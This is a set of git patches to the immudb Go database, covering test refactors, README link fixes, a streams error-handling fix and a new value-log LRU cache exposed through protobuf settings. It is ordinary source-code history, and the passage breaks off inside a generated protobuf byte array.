pkg/database/database.go | 3 +-- pkg/integration/sql/sql_test.go | 30 ++++++++++++++++++++---------- 2 files changed, 21 insertions(+), 12 deletions(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index fe827a84d6..a395d465ad 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -30,7 +30,6 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" - "github.com/codenotary/immudb/embedded/watchers" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/logger" @@ -1295,7 +1294,7 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb defer cancel() err = d.WaitForTx(ctx, req.Tx, req.AllowPreCommitted) - if errors.Is(err, watchers.ErrCancellationRequested) { + if ctx.Err() != nil { return nil, mayCommitUpToTxID, mayCommitUpToAlh, nil } if err != nil { diff --git a/pkg/integration/sql/sql_test.go b/pkg/integration/sql/sql_test.go index 6115ed2541..3c2ee38f10 100644 --- a/pkg/integration/sql/sql_test.go +++ b/pkg/integration/sql/sql_test.go @@ -18,7 +18,6 @@ package integration import ( "context" - "errors" "fmt" "testing" @@ -252,40 +251,51 @@ func TestImmuClient_SQL_Errors(t *testing.T) { _, err = client.SQLExec(context.Background(), "", map[string]interface{}{ "param1": struct{}{}, }) - require.True(t, errors.Is(err, sql.ErrInvalidValue)) + require.ErrorIs(t, err, sql.ErrInvalidValue) _, err = client.SQLQuery(context.Background(), "", map[string]interface{}{ "param1": struct{}{}, }, false) - require.True(t, errors.Is(err, sql.ErrInvalidValue)) + require.ErrorIs(t, err, sql.ErrInvalidValue) err = client.VerifyRow(context.Background(), &schema.Row{ Columns: []string{"col1"}, Values: []*schema.SQLValue{}, }, "table1", []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}) - require.True(t, errors.Is(err, sql.ErrCorruptedData)) + require.ErrorIs(t, err, sql.ErrCorruptedData) err = client.VerifyRow(context.Background(), nil, "", nil) - require.True(t, errors.Is(err, ic.ErrIllegalArguments)) + require.ErrorIs(t, err, ic.ErrIllegalArguments) + + t.Run("sql operations should fail with a cancelled context", func(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + _, err := client.SQLExec(ctx, "BEGIN TRANSACTION; COMMIT;", nil) + require.Contains(t, err.Error(), context.Canceled.Error()) + + _, err = client.SQLQuery(ctx, "SELECT * FROM table1", nil, true) + require.Contains(t, err.Error(), context.Canceled.Error()) + }) err = client.Disconnect() require.NoError(t, err) _, err = client.SQLExec(context.Background(), "", nil) - require.True(t, errors.Is(err, ic.ErrNotConnected)) + require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.SQLQuery(context.Background(), "", nil, false) - require.True(t, errors.Is(err, ic.ErrNotConnected)) + require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.ListTables(context.Background()) - require.True(t, errors.Is(err, ic.ErrNotConnected)) + require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.DescribeTable(context.Background(), "") - require.True(t, errors.Is(err, ic.ErrNotConnected)) + require.ErrorIs(t, err, ic.ErrNotConnected) err = client.VerifyRow(context.Background(), &schema.Row{ Columns: []string{"col1"}, Values: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, }, "table1", []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}) - require.True(t, errors.Is(err, ic.ErrNotConnected)) + require.ErrorIs(t, err, ic.ErrNotConnected) } From 91daa4923df7872aa5ca63f4b7e103962f8a1d6d Mon Sep 17 00:00:00 2001 From: Martin Czygan Date: Tue, 20 Sep 2022 10:21:43 +0200 Subject: [PATCH 0160/1062] readme: fix a link --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 8752789eb0..4fa58120f9 100644 --- a/README.md +++ b/README.md @@ -240,7 +240,7 @@ We already learned about the following use cases from users: We have SDKs available for the following programming languages: 1. Java [immudb4j](https://github.com/codenotary/immudb4j) -2. Golang ([connection guide](https://docs.immudb.io/master/develop/connection.html), [Gorm adapter](https://github.com/codenotary/immugorm)) +2. Golang ([connection guide](https://docs.immudb.io/master/connecting/sdks.html), [Gorm adapter](https://github.com/codenotary/immugorm)) 3. .net [immudb4dotnet](https://github.com/codenotary/immudb4dotnet) 4. Python [immudb-py](https://github.com/codenotary/immudb-py) 5. Node.js [immudb-node](https://github.com/codenotary/immudb-node) From 770632773790cefcbf85a08d58a103b62440b15c Mon Sep 17 00:00:00 2001 From: Jeronimo Date: Fri, 20 Jan 2023 08:37:29 -0300 Subject: [PATCH 0161/1062] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 4fa58120f9..20a7ab85ff 100644 --- a/README.md +++ b/README.md @@ -240,7 +240,7 @@ We already learned about the following use cases from users: We have SDKs available for the following programming languages: 1. Java [immudb4j](https://github.com/codenotary/immudb4j) -2. Golang ([connection guide](https://docs.immudb.io/master/connecting/sdks.html), [Gorm adapter](https://github.com/codenotary/immugorm)) +2. Golang ([golang sdk](https://pkg.go.dev/github.com/codenotary/immudb/pkg/client), [Gorm adapter](https://github.com/codenotary/immugorm)) 3. .net [immudb4dotnet](https://github.com/codenotary/immudb4dotnet) 4. Python [immudb-py](https://github.com/codenotary/immudb-py) 5. Node.js [immudb-node](https://github.com/codenotary/immudb-node) From 00cc2565649010f01c53d4295d2c7f3027546cbb Mon Sep 17 00:00:00 2001 From: Axay sagathiya Date: Mon, 26 Dec 2022 15:05:09 +0530 Subject: [PATCH 0162/1062] Remove useless code. Signed-off-by: Axay sagathiya --- pkg/client/streams.go | 2 +- pkg/client/streams_integration_test.go | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/pkg/client/streams.go b/pkg/client/streams.go index 9035bdb328..d986bd7a11 100644 --- a/pkg/client/streams.go +++ b/pkg/client/streams.go @@ -301,7 +301,7 @@ func (c *immuClient) _streamVerifiedGet(ctx context.Context, req *schema.Verifia return nil, err } - gs, err := c.streamVerifiableGet(ctx, req) + gs, _ := c.streamVerifiableGet(ctx, req) ver := c.StreamServiceFactory.NewVEntryStreamReceiver(c.StreamServiceFactory.NewMsgReceiver(gs)) diff --git a/pkg/client/streams_integration_test.go b/pkg/client/streams_integration_test.go index 99263d19fa..51f2908045 100644 --- a/pkg/client/streams_integration_test.go +++ b/pkg/client/streams_integration_test.go @@ -20,7 +20,6 @@ import ( "bufio" "bytes" "context" - "fmt" "os" "strconv" "strings" @@ -37,7 +36,7 @@ import ( func externalImmudbClient(t *testing.T) (*immuClient, context.Context) { extImmudb := os.Getenv("TEST_EXTERNAL_IMMUDB") if extImmudb == "" { - t.Skip(fmt.Sprintf("Please launch an immudb server and set TEST_EXTERNAL_IMMUDB to its value")) + t.Skip("Please launch an immudb server and set TEST_EXTERNAL_IMMUDB to its value") } s := strings.SplitN(extImmudb, ":", 2) From 237a49730415e6b9243afd5bcec2a6705bc556e2 Mon Sep 17 00:00:00 2001 From: Axay sagathiya Date: Fri, 20 Jan 2023 17:26:49 +0530 Subject: [PATCH 0163/1062] fix(pkg/client): return error when verifiedGet operation fails Signed-off-by: Axay sagathiya --- pkg/client/streams.go | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/pkg/client/streams.go b/pkg/client/streams.go index d986bd7a11..3542cf94ce 100644 --- a/pkg/client/streams.go +++ b/pkg/client/streams.go @@ -301,7 +301,10 @@ func (c *immuClient) _streamVerifiedGet(ctx context.Context, req *schema.Verifia return nil, err } - gs, _ := c.streamVerifiableGet(ctx, req) + gs, err := c.streamVerifiableGet(ctx, req) + if err != nil { + return nil, err + } ver := c.StreamServiceFactory.NewVEntryStreamReceiver(c.StreamServiceFactory.NewMsgReceiver(gs)) From 33d79c8340a8f700ae6fc69eb7e0152f157eb82e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 18 Jan 2023 15:36:25 -0300 Subject: [PATCH 0164/1062] chore(embedded/store): addition of a cache for values Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 59 ++++++++++++++++++++++++++------ embedded/store/immustore_test.go | 23 +++++++++++++ embedded/store/options.go | 16 ++++++++- embedded/store/options_test.go | 2 ++ 4 files changed, 88 insertions(+), 12 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 66578ce4c9..8e0bf4c6bc 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -140,6 +140,8 @@ type ImmuStore struct { vLogUnlockedList *list.List vLogsCond *sync.Cond + vLogCache *cache.LRUCache + txLog appendable.Appendable txLogCache *cache.LRUCache @@ -439,6 +441,15 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable vLogsMap[byte(i)] = &refVLog{vLog: vLog, unlockedRef: e} } + var vLogCache *cache.LRUCache + + if opts.VLogCacheSize > 0 { + vLogCache, err = cache.NewLRUCache(opts.VLogCacheSize) + if err != nil { + return nil, err + } + } + ahtPath := filepath.Join(path, ahtDirname) ahtOpts := ahtree.DefaultOptions(). @@ -474,6 +485,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable vLogs: vLogsMap, vLogUnlockedList: vLogUnlockedList, vLogsCond: sync.NewCond(&sync.Mutex{}), + vLogCache: vLogCache, cLog: cLog, @@ -1068,6 +1080,14 @@ func (s *ImmuStore) appendData(entries []*EntrySpec, donec chan<- appendableResu return } offsets[i] = encodeOffset(voff, vLogID) + + if s.vLogCache != nil { + _, _, err = s.vLogCache.Put(offsets[i], entries[i].Value) + if err != nil { + donec <- appendableResult{nil, err} + return + } + } } donec <- appendableResult{offsets, nil} @@ -2456,19 +2476,36 @@ func (s *ImmuStore) ReadValue(entry *TxEntry) ([]byte, error) { return b, nil } -func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte) (int, error) { - vLogID, offset := decodeOffset(off) +func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte) (n int, err error) { + mustReadFromVLog := true - if vLogID > 0 { - vLog := s.fetchVLog(vLogID) - defer s.releaseVLog(vLogID) - - n, err := vLog.ReadAt(b, offset) - if err == multiapp.ErrAlreadyClosed || err == singleapp.ErrAlreadyClosed { - return n, ErrAlreadyClosed + if s.vLogCache != nil { + val, err := s.vLogCache.Get(off) + if err == nil { + // the requested value was found in the value cache + copy(b, val.([]byte)) + mustReadFromVLog = false + } else { + if !errors.Is(err, cache.ErrKeyNotFound) { + return 0, err + } } - if err != nil { - return n, err + } + + if mustReadFromVLog { + vLogID, offset := decodeOffset(off) + + if vLogID > 0 { + vLog := s.fetchVLog(vLogID) + defer s.releaseVLog(vLogID) + + n, err := vLog.ReadAt(b, offset) + if err == multiapp.ErrAlreadyClosed || err == singleapp.ErrAlreadyClosed { + return n, ErrAlreadyClosed + } + if err != nil { + return n, err + } } } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index bdf17f2e7e..26210720e2 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -4225,3 +4225,26 @@ func TestImmudbStoreWithClosedContext(t *testing.T) { require.ErrorIs(t, err, context.Canceled) }) } + +func TestImmudbStoreWithoutVLogCache(t *testing.T) { + immuStore, err := Open(t.TempDir(), DefaultOptions().WithVLogCacheSize(0)) + require.NoError(t, err) + + defer immuStore.Close() + + tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) + require.NoError(t, err) + + err = tx1.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + _, err = tx1.Commit(context.Background()) + require.NoError(t, err) + + valRef, err := immuStore.Get([]byte("key1")) + require.NoError(t, err) + + val, err := valRef.Resolve() + require.NoError(t, err) + require.Equal(t, []byte("value1"), val) +} diff --git a/embedded/store/options.go b/embedded/store/options.go index 57a2317cd4..0f262ef198 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -41,6 +41,7 @@ const DefaultFileSize = multiapp.DefaultFileSize const DefaultCompressionFormat = appendable.DefaultCompressionFormat const DefaultCompressionLevel = appendable.DefaultCompressionLevel const DefaultTxLogCacheSize = 1000 +const DefaultVLogCacheSize = 1000 const DefaultMaxWaitees = 1000 const DefaultVLogMaxOpenedFiles = 10 const DefaultTxLogMaxOpenedFiles = 10 @@ -98,6 +99,9 @@ type Options struct { // Maximum number of simultaneous value files opened VLogMaxOpenedFiles int + // Size of the LRU cache for value logs + VLogCacheSize int + // Maximum number of simultaneous transaction log files opened TxLogMaxOpenedFiles int @@ -200,6 +204,7 @@ func DefaultOptions() *Options { MaxIOConcurrency: DefaultMaxIOConcurrency, TxLogCacheSize: DefaultTxLogCacheSize, + VLogCacheSize: DefaultVLogCacheSize, VLogMaxOpenedFiles: DefaultVLogMaxOpenedFiles, TxLogMaxOpenedFiles: DefaultTxLogMaxOpenedFiles, @@ -293,10 +298,14 @@ func (opts *Options) Validate() error { return fmt.Errorf("%w: invalid CommitLogMaxOpenedFiles", ErrInvalidOptions) } - if opts.TxLogCacheSize < 0 { + if opts.TxLogCacheSize <= 0 { return fmt.Errorf("%w: invalid TxLogCacheSize", ErrInvalidOptions) } + if opts.VLogCacheSize < 0 { + return fmt.Errorf("%w: invalid VLogCacheSize", ErrInvalidOptions) + } + if opts.MaxWaitees < 0 { return fmt.Errorf("%w: invalid MaxWaitees", ErrInvalidOptions) } @@ -484,6 +493,11 @@ func (opts *Options) WithTxLogCacheSize(txLogCacheSize int) *Options { return opts } +func (opts *Options) WithVLogCacheSize(vLogCacheSize int) *Options { + opts.VLogCacheSize = vLogCacheSize + return opts +} + func (opts *Options) WithFileSize(fileSize int) *Options { opts.FileSize = fileSize return opts diff --git a/embedded/store/options_test.go b/embedded/store/options_test.go index 3f53a32683..bd66b28d50 100644 --- a/embedded/store/options_test.go +++ b/embedded/store/options_test.go @@ -41,6 +41,7 @@ func TestInvalidOptions(t *testing.T) { {"MaxIOConcurrency", DefaultOptions().WithMaxIOConcurrency(0)}, {"MaxIOConcurrency-max", DefaultOptions().WithMaxIOConcurrency(MaxParallelIO + 1)}, {"TxLogCacheSize", DefaultOptions().WithTxLogCacheSize(-1)}, + {"VLogCacheSize", DefaultOptions().WithVLogCacheSize(-1)}, {"VLogMaxOpenedFiles", DefaultOptions().WithVLogMaxOpenedFiles(0)}, {"TxLogMaxOpenedFiles", DefaultOptions().WithTxLogMaxOpenedFiles(0)}, {"CommitLogMaxOpenedFiles", DefaultOptions().WithCommitLogMaxOpenedFiles(0)}, @@ -129,6 +130,7 @@ func TestValidOptions(t *testing.T) { require.Equal(t, DefaultMaxTxEntries, opts.WithMaxTxEntries(DefaultMaxTxEntries).MaxTxEntries) require.Equal(t, DefaultMaxValueLen, opts.WithMaxValueLen(DefaultMaxValueLen).MaxValueLen) require.Equal(t, DefaultTxLogCacheSize, opts.WithTxLogCacheSize(DefaultOptions().TxLogCacheSize).TxLogCacheSize) + require.Equal(t, DefaultVLogCacheSize, opts.WithVLogCacheSize(DefaultOptions().VLogCacheSize).VLogCacheSize) require.Equal(t, 2, opts.WithTxLogMaxOpenedFiles(2).TxLogMaxOpenedFiles) require.Equal(t, 3, opts.WithVLogMaxOpenedFiles(3).VLogMaxOpenedFiles) require.Equal(t, DefaultMaxWaitees, opts.WithMaxWaitees(DefaultMaxWaitees).MaxWaitees) From 2776b0b83775f38076c790ba20e3cd519322eae7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 18 Jan 2023 15:43:14 -0300 Subject: [PATCH 0165/1062] chore(pkg/api): value cache settings exposed Signed-off-by: Jeronimo Irazabal --- pkg/api/schema/docs.md | 1 + pkg/api/schema/schema.pb.go | 2056 +++++++++++---------- pkg/api/schema/schema.proto | 3 + pkg/api/schema/schema.swagger.json | 4 + pkg/integration/database_creation_test.go | 2 + pkg/server/db_options.go | 8 + 6 files changed, 1053 insertions(+), 1021 deletions(-) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 50aaea0f52..849b2786f5 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -448,6 +448,7 @@ DEPRECATED | ahtSettings | [AHTNullableSettings](#immudb.schema.AHTNullableSettings) | | Settings of Appendable Hash Tree | | maxActiveTransactions | [NullableUint32](#immudb.schema.NullableUint32) | | Maximum number of pre-committed transactions | | mvccReadSetLimit | [NullableUint32](#immudb.schema.NullableUint32) | | Limit the number of read entries per transaction | +| vLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the LRU cache for value logs | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index a3b4a859fa..a156cfd050 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -5512,6 +5512,8 @@ type DatabaseNullableSettings struct { MaxActiveTransactions *NullableUint32 `protobuf:"bytes,26,opt,name=maxActiveTransactions,proto3" json:"maxActiveTransactions,omitempty"` // Limit the number of read entries per transaction MvccReadSetLimit *NullableUint32 `protobuf:"bytes,27,opt,name=mvccReadSetLimit,proto3" json:"mvccReadSetLimit,omitempty"` + // Size of the LRU cache for value logs + VLogCacheSize *NullableUint32 `protobuf:"bytes,28,opt,name=vLogCacheSize,proto3" json:"vLogCacheSize,omitempty"` } func (x *DatabaseNullableSettings) Reset() { @@ -5693,6 +5695,13 @@ func (x *DatabaseNullableSettings) GetMvccReadSetLimit() *NullableUint32 { return nil } +func (x *DatabaseNullableSettings) GetVLogCacheSize() *NullableUint32 { + if x != nil { + return x.VLogCacheSize + } + return nil +} + type ReplicationNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9015,7 +9024,7 @@ var file_schema_proto_rawDesc = []byte{ 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xaa, 0x0c, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xef, 0x0c, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, @@ -9114,852 +9123,856 @@ var file_schema_proto_rawDesc = []byte{ 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, - 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x22, 0xb4, 0x06, 0x0a, 0x1b, 0x52, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, - 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, - 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x43, 0x0a, 0x0d, 0x76, 0x4c, + 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x22, + 0xb4, 0x06, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, + 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, + 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, + 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, + 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, + 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, - 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, + 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, + 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, + 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, + 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, + 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, + 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, + 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 